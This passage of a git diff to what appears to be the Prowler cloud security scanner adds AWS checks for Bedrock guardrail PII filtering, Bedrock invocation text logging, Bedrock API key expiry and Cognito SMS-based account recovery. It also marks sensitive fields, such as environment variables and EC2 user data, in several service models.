+ sensitive_fields: ClassVar[tuple[str, ...]] = ("environment",)
environment: Optional[dict] = None
region: str
policy: dict = {}
diff --git a/prowler/providers/aws/services/batch/batch_service.py b/prowler/providers/aws/services/batch/batch_service.py
index 9902fa6175..556e687a24 100644
--- a/prowler/providers/aws/services/batch/batch_service.py
+++ b/prowler/providers/aws/services/batch/batch_service.py
@@ -1,5 +1,5 @@
from itertools import zip_longest
-from typing import Optional
+from typing import ClassVar, Optional
from botocore.exceptions import ClientError
from pydantic.v1 import BaseModel
@@ -14,6 +14,7 @@ class ContainerEnvVariable(BaseModel):
"""An environment variable name-value pair."""
name: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("value",)
value: str
@@ -21,6 +22,7 @@ class BatchContainerProperties(BaseModel):
"""Container properties for an AWS Batch job definition."""
image: Optional[str]
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("command",)
command: list[str] = []
environment: list[ContainerEnvVariable] = []
diff --git a/prowler/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials.py b/prowler/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials.py
index 9697ecbff0..8efc02fddd 100644
--- a/prowler/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials.py
+++ b/prowler/providers/aws/services/bedrock/bedrock_api_key_no_long_term_credentials/bedrock_api_key_no_long_term_credentials.py
@@ -19,18 +19,33 @@ class bedrock_api_key_no_long_term_credentials(Check):
FAIL (high) for any other active long-term key.
"""
- def execute(self):
+ def execute(self) -> list[Check_Report_AWS]:
+ """Execute the check logic.
+
+ Returns:
+ A list of reports containing the result of the check.
+ """
findings = []
for api_key in iam_client.service_specific_credentials:
if api_key.service_name != "bedrock.amazonaws.com":
continue
- if not api_key.expiration_date:
- continue
report = Check_Report_AWS(metadata=self.metadata(), resource=api_key)
now = datetime.now(timezone.utc)
- if api_key.expiration_date <= now:
+ if api_key.expiration_date is None:
+ # ExpirationDate "is only present for Bedrock API keys ... that were created with
+ # an expiration period" (IAM ServiceSpecificCredentialMetadata), so its absence is
+ # the never-expiring key itself, not a key outside this check's scope.
+ report.status = "FAIL"
+ report.check_metadata.Severity = Severity.critical
+ report.status_extended = (
+ f"Bedrock long-term API key {api_key.id} in user "
+ f"{api_key.user.name} has no expiration date, so it never expires. "
+ f"Use short-term Bedrock API keys (session-scoped, valid up to "
+ f"12 hours) for non-exploratory workloads instead."
+ )
+ elif api_key.expiration_date <= now:
report.status = "PASS"
report.status_extended = (
f"Bedrock long-term API key {api_key.id} in user "
diff --git a/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/__init__.py b/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced.metadata.json b/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced.metadata.json
new file mode 100644
index 0000000000..afb7f11b8b
--- /dev/null
+++ b/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced.metadata.json
@@ -0,0 +1,46 @@
+{
+ "Provider": "aws",
+ "CheckID": "bedrock_guardrail_sensitive_information_filter_enforced",
+ "CheckTitle": "Amazon Bedrock guardrail sensitive information filter acts on the output path",
+ "CheckType": [
+ "Software and Configuration Checks/AWS Security Best Practices",
+ "Software and Configuration Checks/AWS Security Best Practices/Runtime Behavior Analysis",
+ "Effects/Data Exposure",
+ "Sensitive Data Identifications/PII"
+ ],
+ "ServiceName": "bedrock",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "high",
+ "ResourceType": "Other",
+ "ResourceGroup": "ai_ml",
+ "Description": "A **Bedrock guardrail** sensitive information entry whose action is `NONE` reports the detected PII or regex match in the trace and still delivers it to the caller. The evaluation looks for guardrails whose configured PII entities and custom regexes are set to `BLOCK` or `ANONYMIZE` on the output path.",
+ "Risk": "A filter that detects without acting reads as configured while **PII**, credentials and secrets keep flowing through model output.\n- Reviews and dashboards record the filter as present, so the gap goes unnoticed\n- Leaked tokens and customer records enable unauthorized access, fraud and identity theft",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-sensitive-filters.html",
+ "https://docs.aws.amazon.com/bedrock/latest/APIReference/API_GuardrailPiiEntity.html",
+ "https://docs.aws.amazon.com/bedrock/latest/APIReference/API_GuardrailRegex.html",
+ "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "",
+ "NativeIaC": "",
+ "Other": "1. Sign in to the AWS Management Console and open Amazon Bedrock\n2. Go to Guardrails and select \n3. Click Edit (or Open draft) and open Sensitive information filters\n4. For every PII type and regular expression listed, change the action from None to Mask or Block, and leave the output evaluation enabled\n5. Click Save, then publish a new guardrail version and point your agents and model invocations at it\nNote for API and CLI users: UpdateGuardrail replaces the whole guardrail, so it must be a read-modify-write. Call GetGuardrail first, edit only the actions inside the returned sensitiveInformationPolicyConfig, and send every other policy block back unchanged. AWS states \"Include both fields that you want to update as well as fields that you want to keep the same\" -- omitting a block deletes it. Changes land on the working draft only, so publish a new version afterwards.",
+ "Terraform": ""
+ },
+ "Recommendation": {
+ "Text": "Set every PII entity and custom regular expression in the guardrail sensitive information policy to `BLOCK` or `ANONYMIZE` rather than `NONE`, and keep output evaluation enabled so matches are stopped on the response path. Use `BLOCK` for values that must never appear, `ANONYMIZE` where the surrounding answer is still useful. Confirm the result with an `ApplyGuardrail` call using `source=OUTPUT` and check that the assessment reports the entity as blocked or anonymized.",
+ "Url": "https://hub.prowler.com/check/bedrock_guardrail_sensitive_information_filter_enforced"
+ }
+ },
+ "Categories": [
+ "gen-ai"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [
+ "bedrock_guardrail_sensitive_information_filter_enabled"
+ ],
+ "Notes": "Scoped to guardrails that already carry a sensitive information policy; a guardrail with no such policy is reported by bedrock_guardrail_sensitive_information_filter_enabled instead. GetGuardrail reports `action` for every entry and omits the per-path `outputAction` and `outputEnabled` unless they were set explicitly, in which case `action` governs the output path — verified against a live guardrail whose entries carried only `action: ANONYMIZE` and which masked PII on an ApplyGuardrail call with source=OUTPUT. An entry whose action the API does not report is MANUAL, never PASS. Like the other guardrail checks, this reads the working draft, because the collector calls GetGuardrail without guardrailVersion."
+}
diff --git a/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced.py b/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced.py
new file mode 100644
index 0000000000..ae6a9d0777
--- /dev/null
+++ b/prowler/providers/aws/services/bedrock/bedrock_guardrail_sensitive_information_filter_enforced/bedrock_guardrail_sensitive_information_filter_enforced.py
@@ -0,0 +1,105 @@
+from prowler.lib.check.models import Check, Check_Report_AWS
+from prowler.providers.aws.services.bedrock.bedrock_client import bedrock_client
+
+ENFORCING_ACTIONS = {"BLOCK", "ANONYMIZE"}
+
+
+class bedrock_guardrail_sensitive_information_filter_enforced(Check):
+ """Ensure guardrail sensitive-information entries block or mask matches on the output path.
+
+ A guardrail can carry a full sensitive-information policy whose every PII entity and regex is
+ set to NONE, which detects the match and returns it in the trace while still delivering the
+ value to the caller. Presence of the policy therefore does not establish that leakage is
+ stopped, which is all bedrock_guardrail_sensitive_information_filter_enabled asserts.
+
+ Scope: guardrails that already carry a sensitive-information policy. A guardrail with no such
+ policy is the subject of bedrock_guardrail_sensitive_information_filter_enabled and is not
+ reported here.
+
+ PASS when every entry blocks or masks its matches on the output path.
+ FAIL when any entry takes no action on the output path, or has output evaluation switched off.
+ MANUAL when the guardrail configuration could not be read, or an entry's action was not
+ reported AND no other entry was proven unenforced. A proven leak outranks an incomplete
+ inventory: this is a universal claim, so one entry known to take no action settles it.
+ Unreported entries are still named in the FAIL text, so an incomplete inventory is disclosed
+ rather than dropped.
+
+ ENFORCING_ACTIONS holds only BLOCK and ANONYMIZE. NONE reports the detection in the trace and
+ lets the content through, so an entry set to NONE detects a leak and permits it.
+
+ Both name lists are rendered into status_extended, and they are built in the order GetGuardrail
+ returned piiEntities and regexes. Neither ListGuardrails nor GetGuardrail documents an ordering,
+ so each render point sorts independently: unsorted output makes one unchanged guardrail produce
+ two different status_extended strings across scans, which reads as a changed finding.
+ """
+
+ def execute(self) -> list[Check_Report_AWS]:
+ """Execute the check logic.
+
+ Returns:
+ A list of reports containing the result of the check.
+ """
+ findings = []
+ for guardrail in bedrock_client.guardrails.values():
+ report = Check_Report_AWS(metadata=self.metadata(), resource=guardrail)
+
+ if not guardrail.detail_retrieved:
+ report.status = "MANUAL"
+ report.status_extended = (
+ f"Bedrock Guardrail {guardrail.name} configuration could not be retrieved "
+ f"({guardrail.detail_error or 'unknown error'}); verify manually that its "
+ "sensitive information filters block or mask matches on the output path."
+ )
+ findings.append(report)
+ continue
+
+ if not guardrail.sensitive_information_entries:
+ continue
+
+ unreported = []
+ unenforced = []
+ for entry in guardrail.sensitive_information_entries:
+ # GetGuardrail omits outputAction unless it was configured explicitly; the
+ # required `action` governs the output path in that case.
+ action = entry.output_action or entry.action
+ if action is None:
+ unreported.append(entry.name)
+ elif entry.output_enabled is False or action not in ENFORCING_ACTIONS:
+ unenforced.append(entry.name)
+
+ if unenforced:
+ unenforced.sort()
+ unreported.sort()
+ report.status = "FAIL"
+ unreported_note = (
+ f" The action for {', '.join(unreported)} was not reported, so there may be "
+ "more."
+ if unreported
+ else ""
+ )
+ report.status_extended = (
+ f"Bedrock Guardrail {guardrail.name} detects but does not block or mask "
+ f"{', '.join(unenforced)} on the output path, so matched sensitive "
+ f"information still reaches the caller.{unreported_note}"
+ )
+ elif unreported:
+ # Sorted here too: a second render point needs its own sort, not an inherited one.
+ unreported.sort()
+ report.status = "MANUAL"
+ report.status_extended = (
+ f"Bedrock Guardrail {guardrail.name} did not report an action for "
+ f"{', '.join(unreported)}; verify manually that matches are blocked or "
+ "masked on the output path."
+ )
+ else:
+ report.status = "PASS"
+ count = len(guardrail.sensitive_information_entries)
+ report.status_extended = (
+ f"Bedrock Guardrail {guardrail.name} blocks or masks "
+ f"{'its 1 configured sensitive information entry' if count == 1 else f'all {count} configured sensitive information entries'}"
+ " on the output path."
+ )
+
+ findings.append(report)
+
+ return findings
diff --git a/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/__init__.py b/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled.metadata.json b/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled.metadata.json
new file mode 100644
index 0000000000..988d417df1
--- /dev/null
+++ b/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled.metadata.json
@@ -0,0 +1,43 @@
+{
+ "Provider": "aws",
+ "CheckID": "bedrock_model_invocation_logging_text_data_enabled",
+ "CheckTitle": "Bedrock model invocation logging delivers prompt and response text.",
+ "CheckType": [
+ "Software and Configuration Checks/AWS Security Best Practices",
+ "Software and Configuration Checks/Industry and Regulatory Standards/AWS Foundational Security Best Practices"
+ ],
+ "ServiceName": "bedrock",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "medium",
+ "ResourceType": "Other",
+ "ResourceGroup": "ai_ml",
+ "Description": "Bedrock model invocation logging is checked for text data delivery. A logging configuration can name a destination while excluding request and response bodies, so the destination alone does not establish that prompts and completions are captured.",
+ "Risk": "Invocation logging that excludes **text data** records that a call happened, but not what was sent or returned.\n\nThat leaves no evidence for the investigations which depend on content itself: **prompt injection**, data exfiltration, and abuse of the model by an authorized caller.",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html#model-invocation-logging-console",
+ "https://www.trendmicro.com/trendaivisiononecloudriskmanagement/knowledge-base/aws/Bedrock/enable-model-invocation-logging.html",
+ "https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "aws bedrock put-model-invocation-logging-configuration --logging-config '{\"textDataDeliveryEnabled\":true,\"cloudWatchConfig\":{\"logGroupName\":\"\",\"roleArn\":\"\"}}'",
+ "NativeIaC": "",
+ "Other": "",
+ "Terraform": ""
+ },
+ "Recommendation": {
+ "Text": "Set textDataDeliveryEnabled to true on the model invocation logging configuration so prompt and response bodies are delivered to the configured destination.",
+ "Url": "https://hub.prowler.com/check/bedrock_model_invocation_logging_text_data_enabled"
+ }
+ },
+ "Categories": [
+ "logging",
+ "forensics-ready",
+ "gen-ai"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [],
+ "Notes": ""
+}
diff --git a/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled.py b/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled.py
new file mode 100644
index 0000000000..14b61ea8bf
--- /dev/null
+++ b/prowler/providers/aws/services/bedrock/bedrock_model_invocation_logging_text_data_enabled/bedrock_model_invocation_logging_text_data_enabled.py
@@ -0,0 +1,62 @@
+from prowler.lib.check.models import Check, Check_Report_AWS
+from prowler.providers.aws.services.bedrock.bedrock_client import bedrock_client
+
+
+class bedrock_model_invocation_logging_text_data_enabled(Check):
+ """Ensure model invocation logging delivers prompt and response text.
+
+ Model invocation logging can name a CloudWatch log group or S3 bucket while excluding the
+ request and response bodies, so a configured destination does not establish that prompts and
+ completions are captured. This check is scoped to Regions where invocation logging is already
+ enabled: a Region with logging switched off is the subject of
+ bedrock_model_invocation_logging_enabled and is not reported here.
+ """
+
+ def execute(self) -> list[Check_Report_AWS]:
+ """Execute the check logic.
+
+ Returns:
+ A list of reports containing the result of the check.
+ """
+ findings = []
+ for region, logging in bedrock_client.logging_configurations.items():
+ # Skip-if-absent: only Regions that already deliver logs are in scope.
+ if not logging.enabled:
+ continue
+
+ report = Check_Report_AWS(metadata=self.metadata(), resource=logging)
+ report.region = region
+ # "model-invocation-logging", as both siblings on this configuration use. The account
+ # id identified no resource -- every Region reported the same id, and the ARN beside it
+ # already carries the account -- so a reader could not tell two Regions' findings apart
+ # by resource_id alone.
+ report.resource_id = "model-invocation-logging"
+ report.resource_arn = (
+ bedrock_client._get_model_invocation_logging_arn_template(region)
+ )
+
+ if logging.text_data_delivery_enabled is None:
+ # The API did not report the flag. Absent is not False, and reporting it as
+ # compliant would assert content capture that was never confirmed.
+ report.status = "MANUAL"
+ report.status_extended = (
+ f"Bedrock Model Invocation Logging is enabled in region {region} but the "
+ "text data delivery setting was not returned; verify manually that prompt "
+ "and response text is delivered."
+ )
+ elif logging.text_data_delivery_enabled:
+ report.status = "PASS"
+ report.status_extended = (
+ f"Bedrock Model Invocation Logging in region {region} delivers prompt and "
+ "response text."
+ )
+ else:
+ report.status = "FAIL"
+ report.status_extended = (
+ f"Bedrock Model Invocation Logging in region {region} excludes prompt and "
+ "response text, so invocation content is not captured."
+ )
+
+ findings.append(report)
+
+ return findings
diff --git a/prowler/providers/aws/services/bedrock/bedrock_service.py b/prowler/providers/aws/services/bedrock/bedrock_service.py
index 8e7ea7c843..f5fcf75ef3 100644
--- a/prowler/providers/aws/services/bedrock/bedrock_service.py
+++ b/prowler/providers/aws/services/bedrock/bedrock_service.py
@@ -33,6 +33,13 @@ class Bedrock(AWSService):
)
def _get_model_invocation_logging_configuration(self, regional_client):
+ """Read the model invocation logging configuration for a region.
+
+ An empty `loggingConfig` is how the API reports logging switched off, so it maps to
+ `enabled=False` rather than to an absent entry. The four per-data-type delivery flags are
+ stored as reported, including None: the API omits a flag it was never given, and None
+ cannot be collapsed to False without asserting an exclusion that was never configured.
+ """
logger.info("Bedrock - Getting Model Invocation Logging Configuration...")
try:
logging_config = (
@@ -48,6 +55,18 @@ class Bedrock(AWSService):
).get("logGroupName"),
s3_bucket=logging_config.get("s3Config", {}).get("bucketName"),
enabled=True,
+ text_data_delivery_enabled=logging_config.get(
+ "textDataDeliveryEnabled"
+ ),
+ image_data_delivery_enabled=logging_config.get(
+ "imageDataDeliveryEnabled"
+ ),
+ embedding_data_delivery_enabled=logging_config.get(
+ "embeddingDataDeliveryEnabled"
+ ),
+ video_data_delivery_enabled=logging_config.get(
+ "videoDataDeliveryEnabled"
+ ),
)
)
else:
@@ -94,6 +113,17 @@ class Bedrock(AWSService):
)
def _get_guardrail(self, guardrail):
+ """Read one guardrail's policies and flatten its sensitive-information entries.
+
+ `piiEntities` and `regexes` are flattened into a single list because both carry the same
+ action/outputAction/outputEnabled triple and both leak the same way; the entry name keeps
+ the kind visible in findings. Each field is stored as reported, so an action the API did
+ not return stays None instead of becoming a verdict.
+
+ `detail_retrieved` is set only on the success path. A guardrail whose configuration could
+ not be read therefore carries no filter claims at all, and `detail_error` names the API
+ error code so a check can report the cause rather than a compliant-looking default.
+ """
logger.info("Bedrock - Getting Guardrail...")
try:
guardrail_info = self.regional_clients[guardrail.region].get_guardrail(
@@ -119,8 +149,37 @@ class Bedrock(AWSService):
"filters", []
)
]
+ sensitive_information_policy = guardrail_info.get(
+ "sensitiveInformationPolicy", {}
+ )
+ for entity in sensitive_information_policy.get("piiEntities", []):
+ guardrail.sensitive_information_entries.append(
+ SensitiveInformationEntry(
+ name=f"PII entity {entity.get('type', 'unknown')}",
+ action=entity.get("action"),
+ output_action=entity.get("outputAction"),
+ output_enabled=entity.get("outputEnabled"),
+ )
+ )
+ for regex in sensitive_information_policy.get("regexes", []):
+ guardrail.sensitive_information_entries.append(
+ SensitiveInformationEntry(
+ name=f"regex {regex.get('name', 'unknown')}",
+ action=regex.get("action"),
+ output_action=regex.get("outputAction"),
+ output_enabled=regex.get("outputEnabled"),
+ )
+ )
guardrail.detail_retrieved = True
+ except ClientError as error:
+ guardrail.detail_error = error.response["Error"].get(
+ "Code", error.__class__.__name__
+ )
+ logger.error(
+ f"{guardrail.region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}"
+ )
except Exception as error:
+ guardrail.detail_error = error.__class__.__name__
logger.error(
f"{guardrail.region} -- {error.__class__.__name__}[{error.__traceback__.tb_lineno}]: {error}"
)
@@ -201,6 +260,29 @@ class LoggingConfiguration(BaseModel):
enabled: bool = False
cloudwatch_log_group: Optional[str] = None
s3_bucket: Optional[str] = None
+ # GetModelInvocationLoggingConfiguration reports which data types are actually delivered.
+ # A configuration can name a destination while excluding the prompt and response bodies, so
+ # the destination alone does not establish that invocation content is captured. None means
+ # the API did not report the flag, which is not the same as False.
+ text_data_delivery_enabled: Optional[bool] = None
+ image_data_delivery_enabled: Optional[bool] = None
+ embedding_data_delivery_enabled: Optional[bool] = None
+ video_data_delivery_enabled: Optional[bool] = None
+
+
+class SensitiveInformationEntry(BaseModel):
+ """One entry of a guardrail sensitive-information policy: a PII entity or a custom regex.
+
+ GetGuardrail always reports `action` (the API marks it required) and omits the per-path
+ `outputAction` / `outputEnabled` unless they were configured explicitly, in which case
+ `action` governs both the input and the output path. None therefore means the API did not
+ report the per-path setting, which is not the same as False or NONE.
+ """
+
+ name: str
+ action: Optional[str] = None
+ output_action: Optional[str] = None
+ output_enabled: Optional[bool] = None
class ContextualGroundingFilter(BaseModel):
@@ -227,6 +309,8 @@ class Guardrail(BaseModel):
contextual_grounding_filters: list[ContextualGroundingFilter] = []
# False when GetGuardrail failed: absent policy is unknown, not unset.
detail_retrieved: bool = False
+ detail_error: Optional[str] = None
+ sensitive_information_entries: list[SensitiveInformationEntry] = []
class CustomModel(BaseModel):
diff --git a/prowler/providers/aws/services/cloudformation/cloudformation_service.py b/prowler/providers/aws/services/cloudformation/cloudformation_service.py
index fb8a491486..e96da1ff94 100644
--- a/prowler/providers/aws/services/cloudformation/cloudformation_service.py
+++ b/prowler/providers/aws/services/cloudformation/cloudformation_service.py
@@ -1,4 +1,4 @@
-from typing import Optional
+from typing import ClassVar, Optional
from botocore.client import ClientError
from pydantic.v1 import BaseModel
@@ -82,6 +82,7 @@ class Stack(BaseModel):
"""In the CloudFormation API the "Stacks[].StackId" is the ARN"""
name: str
"""Stacks[].StackName"""
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("outputs",)
outputs: list[str]
"""Stacks[].Outputs"""
enable_termination_protection: bool = False
diff --git a/prowler/providers/aws/services/cloudwatch/cloudwatch_service.py b/prowler/providers/aws/services/cloudwatch/cloudwatch_service.py
index 017deb3331..3e90e95150 100644
--- a/prowler/providers/aws/services/cloudwatch/cloudwatch_service.py
+++ b/prowler/providers/aws/services/cloudwatch/cloudwatch_service.py
@@ -1,6 +1,6 @@
import json
from datetime import datetime, timezone
-from typing import Optional
+from typing import ClassVar, Optional
from botocore.exceptions import ClientError
from pydantic.v1 import BaseModel
@@ -381,6 +381,7 @@ class LogGroup(BaseModel):
# Properties inherited from account-level settings, e.g. ACCOUNT_DATA_PROTECTION.
inherited_properties: list[str] = []
region: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("log_streams",)
log_streams: dict[str, list[str]] = (
{}
) # Log stream name as the key, array of events as the value
diff --git a/prowler/providers/aws/services/codebuild/codebuild_service.py b/prowler/providers/aws/services/codebuild/codebuild_service.py
index d4d085065d..08467b9ad7 100644
--- a/prowler/providers/aws/services/codebuild/codebuild_service.py
+++ b/prowler/providers/aws/services/codebuild/codebuild_service.py
@@ -1,6 +1,6 @@
import datetime
from concurrent.futures import as_completed
-from typing import List, Optional
+from typing import ClassVar, List, Optional
from pydantic.v1 import BaseModel
@@ -286,6 +286,7 @@ class Source(BaseModel):
class EnvironmentVariable(BaseModel):
name: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("value",)
value: str
type: str
diff --git a/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/__init__.py b/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/__init__.py
new file mode 100644
index 0000000000..e69de29bb2
diff --git a/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred.metadata.json b/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred.metadata.json
new file mode 100644
index 0000000000..60b1b09cce
--- /dev/null
+++ b/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred.metadata.json
@@ -0,0 +1,41 @@
+{
+ "Provider": "aws",
+ "CheckID": "cognito_user_pool_account_recovery_sms_not_preferred",
+ "CheckTitle": "Cognito user pool does not prefer SMS for account recovery",
+ "CheckType": [
+ "Software and Configuration Checks/AWS Security Best Practices",
+ "TTPs/Initial Access/Unauthorized Access"
+ ],
+ "ServiceName": "cognito",
+ "SubServiceName": "",
+ "ResourceIdTemplate": "",
+ "Severity": "medium",
+ "ResourceType": "Other",
+ "ResourceGroup": "IAM",
+ "Description": "**Amazon Cognito user pools** do not rank `verified_phone_number` as the first **account recovery** mechanism. The evaluation inspects the `RecoveryMechanisms` of each user pool's `AccountRecoverySetting` and looks at the entry with the lowest `Priority`.",
+ "Risk": "SMS is the weakest recovery channel: an attacker who performs a **SIM swap** or intercepts **SS7** traffic receives the reset code and takes over the account, bypassing the password. A pool with no `AccountRecoverySetting` is equally exposed, since Cognito then applies **legacy behavior preferring SMS over email**.",
+ "RelatedUrl": "",
+ "AdditionalURLs": [
+ "https://docs.aws.amazon.com/cognito/latest/developerguide/how-to-recover-a-user-account.html",
+ "https://docs.aws.amazon.com/cognito-user-identity-pools/latest/APIReference/API_AccountRecoverySettingType.html",
+ "https://pages.nist.gov/800-63-3/sp800-63b.html#-5122-out-of-band-verifiers"
+ ],
+ "Remediation": {
+ "Code": {
+ "CLI": "aws cognito-idp update-user-pool --user-pool-id --account-recovery-setting RecoveryMechanisms=[{Priority=1,Name=verified_email}]",
+ "NativeIaC": "```yaml\nResources:\n :\n Type: AWS::Cognito::UserPool\n Properties:\n AccountRecoverySetting:\n RecoveryMechanisms:\n - Name: verified_email # Critical: email is ranked ahead of SMS\n Priority: 1\n```",
+ "Other": "1. Open the AWS Management Console and go to Amazon Cognito\n2. Click User pools and select your pool\n3. Go to Sign-in > Account recovery and click Edit\n4. Set Email only (or Admin only) as the recovery method, or move Email above SMS in the priority order\n5. Click Save changes",
+ "Terraform": "```hcl\nresource \"aws_cognito_user_pool\" \"\" {\n name = \"\"\n\n account_recovery_setting {\n recovery_mechanism {\n name = \"verified_email\" # Critical: email is ranked ahead of SMS\n priority = 1\n }\n }\n}\n```"
+ },
+ "Recommendation": {
+ "Text": "Set an explicit **account recovery** order that ranks `verified_email` (or `admin_only`) ahead of `verified_phone_number`.\n- Never rely on the **default**, which silently prefers SMS\n- Prefer `admin_only` for privileged pools so recovery requires an operator\n- Require **verified email** on sign-up so the stronger channel is always available",
+ "Url": "https://hub.prowler.com/check/cognito_user_pool_account_recovery_sms_not_preferred"
+ }
+ },
+ "Categories": [
+ "identity-access"
+ ],
+ "DependsOn": [],
+ "RelatedTo": [],
+ "Notes": ""
+}
diff --git a/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred.py b/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred.py
new file mode 100644
index 0000000000..bd04dcc077
--- /dev/null
+++ b/prowler/providers/aws/services/cognito/cognito_user_pool_account_recovery_sms_not_preferred/cognito_user_pool_account_recovery_sms_not_preferred.py
@@ -0,0 +1,41 @@
+from prowler.lib.check.models import Check, Check_Report_AWS
+from prowler.providers.aws.services.cognito.cognito_idp_client import cognito_idp_client
+
+
+class cognito_user_pool_account_recovery_sms_not_preferred(Check):
+ """Verify that user pools do not prefer SMS for account recovery.
+
+ A pool PASSES when the recovery mechanism with the lowest ``Priority`` is
+ something other than ``verified_phone_number``. A pool with no
+ ``AccountRecoverySetting`` at all FAILS, because Amazon Cognito then applies
+ the legacy behavior that prefers SMS over email.
+ """
+
+ def execute(self) -> list[Check_Report_AWS]:
+ """Execute the Cognito user pool account recovery check.
+
+ Returns:
+ A list of reports with each user pool preferred recovery mechanism.
+ """
+ findings = []
+ for pool in cognito_idp_client.user_pools.values():
+ report = Check_Report_AWS(metadata=self.metadata(), resource=pool)
+ mechanisms = (pool.account_recovery_settings or {}).get(
+ "RecoveryMechanisms", []
+ )
+ if not mechanisms:
+ report.status = "FAIL"
+ report.status_extended = f"User pool {pool.name} does not define an account recovery setting, so SMS is preferred over email."
+ else:
+ preferred = min(mechanisms, key=lambda mechanism: mechanism["Priority"])
+ if preferred["Name"] == "verified_phone_number":
+ report.status = "FAIL"
+ report.status_extended = (
+ f"User pool {pool.name} prefers SMS for account recovery."
+ )
+ else:
+ report.status = "PASS"
+ report.status_extended = f"User pool {pool.name} prefers {preferred['Name']} over SMS for account recovery."
+ findings.append(report)
+
+ return findings
diff --git a/prowler/providers/aws/services/datapipeline/datapipeline_service.py b/prowler/providers/aws/services/datapipeline/datapipeline_service.py
index c893dd0557..c1f92384ed 100644
--- a/prowler/providers/aws/services/datapipeline/datapipeline_service.py
+++ b/prowler/providers/aws/services/datapipeline/datapipeline_service.py
@@ -1,3 +1,5 @@
+from typing import ClassVar
+
from botocore.exceptions import ClientError
from pydantic.v1 import BaseModel, Field
@@ -13,6 +15,7 @@ class Pipeline(BaseModel):
name: str
arn: str
region: str
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("definition",)
definition: dict = Field(default_factory=dict)
tags: list[dict] = Field(default_factory=list)
diff --git a/prowler/providers/aws/services/ec2/ec2_service.py b/prowler/providers/aws/services/ec2/ec2_service.py
index 3c20d490f2..6c9f3dfb2c 100644
--- a/prowler/providers/aws/services/ec2/ec2_service.py
+++ b/prowler/providers/aws/services/ec2/ec2_service.py
@@ -1,6 +1,6 @@
from datetime import datetime
from ipaddress import IPv4Address, IPv6Address, ip_address
-from typing import Optional, Union
+from typing import ClassVar, Optional, Union
from botocore.client import ClientError
from pydantic.v1 import BaseModel
@@ -776,6 +776,7 @@ class Instance(BaseModel):
private_ip: Optional[str]
public_dns: Optional[str]
public_ip: Optional[str]
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("user_data",)
user_data: Optional[str]
http_tokens: Optional[str]
http_endpoint: Optional[str]
@@ -898,6 +899,7 @@ class InstanceMetadataDefaults(BaseModel):
class TemplateData(BaseModel):
+ sensitive_fields: ClassVar[tuple[str, ...]] = ("user_data",)
user_data: str
network_interfaces: Optional[list[NetworkInterface]]
associate_public_ip_address: Optional[bool]
diff --git a/prowler/providers/aws/services/ecs/ecs_service.py b/prowler/providers/aws/services/ecs/ecs_service.py
index 3006185210..f76d9074b1 100644
--- a/prowler/providers/aws/services/ecs/ecs_service.py
+++ b/prowler/providers/aws/services/ecs/ecs_service.py
@@ -1,7 +1,7 @@
from datetime import datetime
from itertools import zip_longest
from re import sub
